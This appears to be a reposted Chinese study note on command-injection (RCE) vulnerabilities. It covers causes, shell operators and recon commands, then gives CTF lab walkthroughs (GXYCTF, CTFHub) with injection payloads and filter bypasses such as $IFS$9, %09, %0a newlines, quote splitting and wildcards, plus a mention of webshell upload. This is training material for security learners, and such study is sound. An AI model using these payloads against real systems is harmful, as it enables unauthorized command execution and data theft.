7月21日总结

命令执行

RCE

RCEremote code execute):远程命令执行或者代码执行,我们平时说的rce,比如thinkPHP
rce漏洞,即算代码注入漏洞,也算rce漏洞,因为渗透的最终情况可以实现执行命令或者是代码都属于
RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE

命令执行的原理

命令执行漏洞指的是网站的应用程序有些需要调用执行系统命令,当用户能控制这些函数中的参数
时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
system("cat /flag")

命令执行的成因

1、代码层过滤不严格:商业应用需要执行命令,商业应用的一些核心代码可能封住在二进制文件当中,
web应用中通过system函数调用。
system("/bin/program --arg $arg")
2、调用第三方组件存在的代码执行漏洞:如wordpress,可以选择imagemagick这个常用的图片处理
组件,处理用户上传图片时造成命令执行;还有JAVA struts2/elasticsearch groovy等。

命令执行漏洞分类

1、代码层过滤不严
2、系统的漏洞造成命令注入
3、调用的第三方组件存在代码执行漏洞

RCE

RCEremote code execute):远程命令执行或者代码执行,我们平时说的rce,比如thinkPHP
rce漏洞,即算代码注入漏洞,也算rce漏洞,因为渗透的最终情况可以实现执行命令或者是代码都属于
RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE

命令执行的原理

命令执行漏洞指的是网站的应用程序有些需要调用执行系统命令,当用户能控制这些函数中的参数
时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
system("cat /flag")

命令执行的成因

1、代码层过滤不严格:商业应用需要执行命令,商业应用的一些核心代码可能封住在二进制文件当中,
web应用中通过system函数调用。
system("/bin/program --arg $arg")
2、调用第三方组件存在的代码执行漏洞:如wordpress,可以选择imagemagick这个常用的图片处理
组件,处理用户上传图片时造成命令执行;还有JAVA struts2/elasticsearch groovy等。

命令执行漏洞分类

1、代码层过滤不严
2、系统的漏洞造成命令注入
3、调用的第三方组件存在代码执行漏洞

启用一个端口为8081的服务器

Windows常用的命令和特殊字符

常用的命令

1dir----查看文件目录
2ipconfig----查看WindowsIP地址
3arp -a----查看ARP缓存表
4calc----在命令行打开计算器
5regedit----打开注册表
6netstat -ano----查看开放的端口信息

特殊字符

1| 直接执行后面的语句
2|| 前面出错执行后面的,前面为假
3& 前面的语句为假则直接执行后面的,前面可真可假
4&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真

Linux常用的命令和特殊字符

常用的命令

1cat /etc/passwd----查看
2passwd文件 id----查看该用户的ID
3groups----查看用户所属的组
4cat /etc/group----查看组信息
5whoami----查看当前用户
6pwd----查看当前路径
7uname -a----查看主机信息
8cat /etc/issue----查看主机的配置信息
9netstat -pantu----查看开放的端口信息
10netstat -nr----查看路由信息

特殊字符

1、; 前面的执行完执行后面的
2| 管道符,显示后面的执行结果
3|| 当前面的执行出错时执行后面的
4& 前面的语句为假则直接执行后面的,前面可真可假
5&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
6、换行符(编码)
"exec(),echo(),eval()..."点击查看元宝的回答
https://yuanbao.tencent.com/bot/app/share/chat/fhZKut0sp8oO(最底下见)

exec(),echo,eval()

函数作用输入类型输出结果安全风险等级
exec()执行系统命令字符串(命令)命令的最后一行⚠️ 高危(命令注入)
echo输出内容字符串/变量直接显示内容✅ 安全
eval()执行字符串中的代码字符串(代码)代码执行结果☠️ 极高危(代码注入)

第一种方法

上传木马,然后通过蚁剑连接查找flag

第二种方法

利用重定向符

ip=1;ls /> 1.txt  查找根目录
ip=1;ls>1.txt     查找目录
ip=1;cat /flag.txt> 1.txt   查找flag

空格绕过

以ls /举例
{ls,/}

以ls /
ls${IFS}/

使用 < , < 表示的是输入重定向的意思,就是把 < 后面跟的文件取代键盘作为新的输入设备。“命令 <
文件” ,这是将文件作为命令输入
ls</

ls%09/
ls$IFS$9/

[GXYCTF2019]Ping Ping Ping 1

flag,空格被过滤

1,使用传递参数(因为不能出现flag整体)黑名单绕过

2,使用反引号

3,使用base64将cat flag.php编码

ctfhub技能树

命令注入

ip=;ls  查看当前目录  
ip=;cat 883914094984.php  查看源码得到flag

过滤cat

试了一下,这些方法都可以,成功后查询源码即可

过滤空格

试了一下,%09,$IFS$9,${IFS},<重定向符号都可以

直接查询后检查源代码即可

过滤目录分隔符

cat /目录名/文件名和cd 目录名;cat 文件名的区别

点击查看元宝的回答
https://yuanbao.tencent.com/bot/app/share/chat/JVfus9hjYbil

ip;ls  查看当前目录ip;cd flag_is_here;ls  使用cd命令进入flag_is_here  查看其下的文件ip;cd flag_is_here;cat flag_146242307015503.php  打印flag_146242307015503.php检查源码即可

过滤运算符

过滤了&,|,使用;即可

ip=;ls
ip=;cat flag_19386297068450.php

综合过滤练习

这里使用单引号''绕过,这里用$@、$*、""都可以绕过,变量拼接似乎不行

ip=%0als 查看当前目录ip=%0acd$IFS$9fla$1g_is_here%0als   使用cd命令进入flag_is_here,并用ls查看其内容ip=%0acd$IFS$9fla$1g_is_here%0aca$1t$IFS$9fla$1g_146242307015503.php  
打印flag_146242307015503.php然后查看flag

通配符绕过

可以使用通配符绕过
通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。当查找文件夹时,可以使 用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一 个或多个真正的字符

以上内容详细可见(命令执行的PPT)

命令执行漏洞利用及绕过方式总结,从零基础到精通,收藏这篇就够了!_当利用远程命令执行漏洞执行系统命令时,空格被防护代码过滤,以下哪个符号可以替代_命令注入绕过空格-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/915493.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/915493.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux——自制shell命令行解释器

文章目录1.打印命令提示符2.获取用户输入指令3.重定向分析4.命令行参数表,环境变量表,初始化5.命令解析6.命令执行6.1.创建子进程6.2 处理内建命令6.3 文件重定向7.源码前言 在实现shell的时候我们先创建自己myshell目录&#xff0c;在目录中创建myshell.cc文件&#xff0c;因…

Boost库智能指针boost::shared_ptr详解和常用场景使用错误示例以及解决方法

1、Boost智能指针 —— boost::shared_ptr 详解一、什么是 boost::shared_ptr boost::shared_ptr 是 Boost 库中实现的一个智能指针模板类&#xff0c;用于管理动态分配的对象生命周期&#xff0c;采用引用计数机制。多个 shared_ptr 实例可以共享同一个对象的所有权&#xff0…

科学分析指南,如何快速找到并清理磁盘的无用文件

随着时间的推移&#xff0c;系统中会积累大量的临时文件、缓存文件、不再需要的安装包或其他大型文件。磁盘清理可以删除这些不必要的文件&#xff0c;从而释放宝贵的磁盘空间。它无需安装&#xff0c;插上 U 盘就能直接使用。只需勾选需要扫描的磁盘&#xff0c;点击“开始分析…

Laravel 系统版本查看及artisan管理员密码找回方法针对各个版本通用方法及原理-优雅草卓伊凡

Laravel 系统版本查看及artisan管理员密码找回方法针对各个版本通用方法及原理-优雅草卓伊凡一、查看 Laravel 版本的方法优雅草蜻蜓T会议系统专业版 最近又有客户要了&#xff0c;但是发现 密码不对 管理员账户密码不对&#xff0c;卓伊凡必须处理下&#xff0c;这里顺便讲解密…

针对大规模语言模型的上下文工程技术调研与总结(翻译并摘要)

针对大规模语言模型的上下文工程技术调研与总结声明摘要部分翻译介绍部分翻译相关工作部分翻译并摘要为什么使用上下文工程&#xff08;翻译并摘要&#xff09;基础组件&#xff08;翻译并摘要&#xff09;RAG&#xff08;翻译并摘要简单介绍一下个人认为比较好的技术&#xff…

QT配置Quazip外部库

1.下载QuaZip源码网址&#xff1a;https://sourceforge.net/projects/quazip/  注&#xff1a;下载->解压->打开.pro文件2.编译QuaZip源码2.1配置zlib注&#xff1a;QuaZip需zlib的支持&#xff0c;我们需要引用zlib找到本地安装Qt目录下zlib目录&#xff1a;注&#x…

从C++开始的编程生活(4)——类的定义、访问限定符、类域、类的实例化和this指针

前言 本系列文章承接C语言的学习&#xff0c;需要有C语言的基础才能学会哦~ 第3篇主要讲的是有关于C的类的定义、访问限定符、类域、类的实例化和this指针。 C才起步&#xff0c;都很简单呢&#xff01; 目录 前言 类 基本语法 访问限定符 基本语法 类域 类的实例化 内…

AD域控制器虚拟化的安全加固最佳实践

以下是AD域控制器虚拟化安全加固的7项核心实践&#xff0c;结合最新Windows Server 2022特性与虚拟化环境需求&#xff1a;基础架构强化‌ 采用静态IP分配并确保所有域控节点DNS指向主DC&#xff08;如192.168.1.10&#xff09;‌ 虚拟机模板需预配置林/域功能级别为Windows Se…

java解析nc气象数据

1.1pom.xml<dependency><groupId>edu.ucar</groupId><artifactId>netcdfAll</artifactId><version>5.4.1</version></dependency>1.2 netcdf使用/** param type 0 ,1, 2 wind 1 or 2 其他 0 .* return Map* */public Map i…

STC8H8K64U SKDIP28芯片频率占空比PWM波形

/****PWM输出任意周期占空比波形*******/ #include "STC8H.h" // #include "intrins.h" // #define uchar unsigned char // #define uint unsig…

【RK3576】【Android14】USB开发调试

获取更多相关的【RK3576】【Android14】驱动开发&#xff0c;可收藏系列博文&#xff0c;持续更新中&#xff1a; 【RK3576】Android 14 驱动开发实战指南 硬件接口 RK3576支持两个USB3.0控制器 驱动开发 dts配置 在“Android14/kernel-6.1/arch/arm64/boot/dts/rockchip/rk…

20. TaskExecutor与ResourceManager心跳

20. TaskExecutor与ResourceManager心跳 现在&#xff0c;需要回过头看 ResourceManager是如何产生心跳管理服务的。cluster.initializeServices 方法的 heartbeatServices createHeartbeatServices(configuration);产生一个 HeartbeatServicesImpljobmanager的 resourceManag…

OS19.【Linux】进程状态(上)

目录 1.情景引入 2.操作系统学科对进程状态的分类 运行状态 基于时间片的轮转调度算法 阻塞状态 等待IO设备的例子 等待其他进程中需要获取的数据 进程唤醒 挂起状态(全称为阻塞挂起状态) 简单谈谈虚拟内存管理 就绪状态 笔面试题 3.Linux对进程状态的分类 R和S状…

如何优雅地修改项目的 Android 版本(API 级别)

引言 在 Android 开发的日常迭代中&#xff0c;我们经常需要升级或降级项目的 minSdkVersion、targetSdkVersion 与 compileSdkVersion。升级可以解锁新特性和性能优化&#xff1b;降级则可能为了兼容旧机型或快速验证问题。本文将手把手演示在 Android Studio 里修改 Android …

GNU Radio多类信号多种参数数据集生成技巧

参考我的这篇博客&#xff0c;我想自制一个多信号数据集&#xff1a; 【多雷达信号硬件模拟】 3台USRP1台VSG信号发生器模拟多雷达信号&#xff0c;1台USRP产生高斯噪声模拟更多信道环境&#xff0c;1台USRP采集信号 需要在多个波段对四种信号进行参数设置&#xff0c;带宽有…

Ansible + Shell 服务器巡检脚本

脚本概述这是一个用于服务器日常巡检的 Shell 脚本&#xff0c;主要功能包括&#xff1a;检查多台主机的网络连通性 监控CPU、内存和磁盘使用率 生成详细的巡检报告 通过企业微信发送告警通知核心技术点1. 主机批量管理使用Ansible工具远程执行命令和脚本 通过主机…

Linux-rpm和yum

一、RPMRPM&#xff08;Red Hat Package Manager&#xff09;是一个用于管理 Red Hat 系列 Linux 发行版&#xff08;如 RHEL、CentOS、Fedora&#xff09;软件包的工具。RPM 允许用户以统一的格式来安装、卸载、升级和查询软件包。它是 .rpm 文件的主要工具&#xff0c;后缀名…

手推OpenGL相机的正交投影矩阵和透视投影矩阵(附源码)

概述计算OpenGL的正交投影矩阵和透视投影矩阵是有现成函数的。自己手推不是为了重复造轮子。手推一遍&#xff0c;可以极大的加强对这两个矩阵的理解。同时也可以满足一下自己求知欲。正交投影矩阵手推正交投影矩阵源码 WGMatrix4x4 WGMatrix4x4::BuildOrtho(double l, double …

【跨国数仓迁移最佳实践2】MaxCompute SQL执行引擎对复杂类型处理全面重构,保障客户从BigQuery平滑迁移

本系列文章将围绕东南亚头部科技集团的真实迁移历程展开&#xff0c;逐步拆解 BigQuery 迁移至 MaxCompute 过程中的关键挑战与技术创新。本篇为第二篇&#xff0c;跨国数仓迁移背后 MaxCompute 的统一存储格式创新。 注&#xff1a;客户背景为东南亚头部科技集团&#xff0c;…

react(基础篇)

React由Meta公司研发&#xff0c;用于构建Web和原生交互界面的库。 React 官方中文文档 查看JSX &#xff08;一&#xff09;React组件 用户界面的一部分&#xff0c;通俗的来讲&#xff0c;最小的元素组成的单元&#xff0c;可以实现部分逻辑与功能 房子的门就可以看成一个…